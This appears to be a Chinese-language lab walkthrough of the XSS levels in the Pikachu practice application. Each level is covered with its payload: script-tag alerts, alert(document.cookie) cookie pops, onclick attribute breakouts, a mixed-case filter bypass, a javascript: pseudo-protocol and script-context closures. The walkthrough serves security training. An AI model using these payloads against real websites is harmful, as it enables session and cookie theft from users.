pikachu之跨站脚本攻击（x‘s‘s）

1get型

输入a看一下

接着输入<a>

发现<>没有被过滤当做标签处理了

尝试在表单提交的框里面，输入xss语句

尝试输入<script>alert(1)</script>

发现有长度限制

因为这里是get请求

get请求的特点是：传参是在url中的

所以我们可以在url中输入xss语句<script>alert(1)</script>

弹cookie

<script>alert(document.cookie)</script>

2反射型xss（post）

点一下提示给了账号密码直接登录

输入aaa       burp抓包

将aaa换为 <script>alert(1)</script>

换为<script>alert(document.cookie)</script>弹出cookie

3存储型xss

直接输入。。。。 <script>alert(1)</script>            <script>alert(document.cookie)</script>

4DOM型xss

输入 <script>alert(1)</script> 后报错

看下源代码

找找 what do you see?在哪

发现实在</a>标签内的，</a>标签是超链接标签从一个页面到另外一个

<a href='"'(用单引号将`"`闭合)+οnclick=alert(1)(在可控部分输入onclick事件)+'"'(用单引号将`"`闭合)>what do you see?</a>

源码部分：<a href='"+str+"'>what do you see?</a>

使用

' οnclick=alert(1) '

' οnclick=alert(document.cookie) '

可以弹出

5DOM xss-x

这一关和XSS-DOM型xss的区别

在于这里有两个a标签

闭合代码尝试使用onclick

' οnclick=alert(document.cookie) '

6xss之盲打

随便 账号密码都输入 <script>alert(document.cookie)</script>输入后直接提交成功

但是它暴露了登录的地址

拼接一下直接登录

登录的时候就已经有弹窗了因为刚才的输入已经保存进去了

7xss之过滤

我输入 <script>alert(1)</script>等都发现显示的都一样然后就查看代码

他把输入的都过滤了

试试双写不行试试大小写可以

<sCrIpt>alert(document.cookie)</scriPT>

xss之 htmlspecialchars

输入<script>alert(document.cookie)</script>

一点就是报错

闭合了<>

那就 '  οnclick='alert(document.cookie)

被记录点一下链接

8xss  herf

额你怎么输都错了 <script>alert(document.cookie)</script>

它都给你过滤了

使用伪协议

javascript:alert(document.cookie)

9xss之js

输入<script>alert(document.cookie)</script>没反应

看看代码

尝试闭合

</script><script>alert(document.cookie)</script>

'; alert(document.cookie)//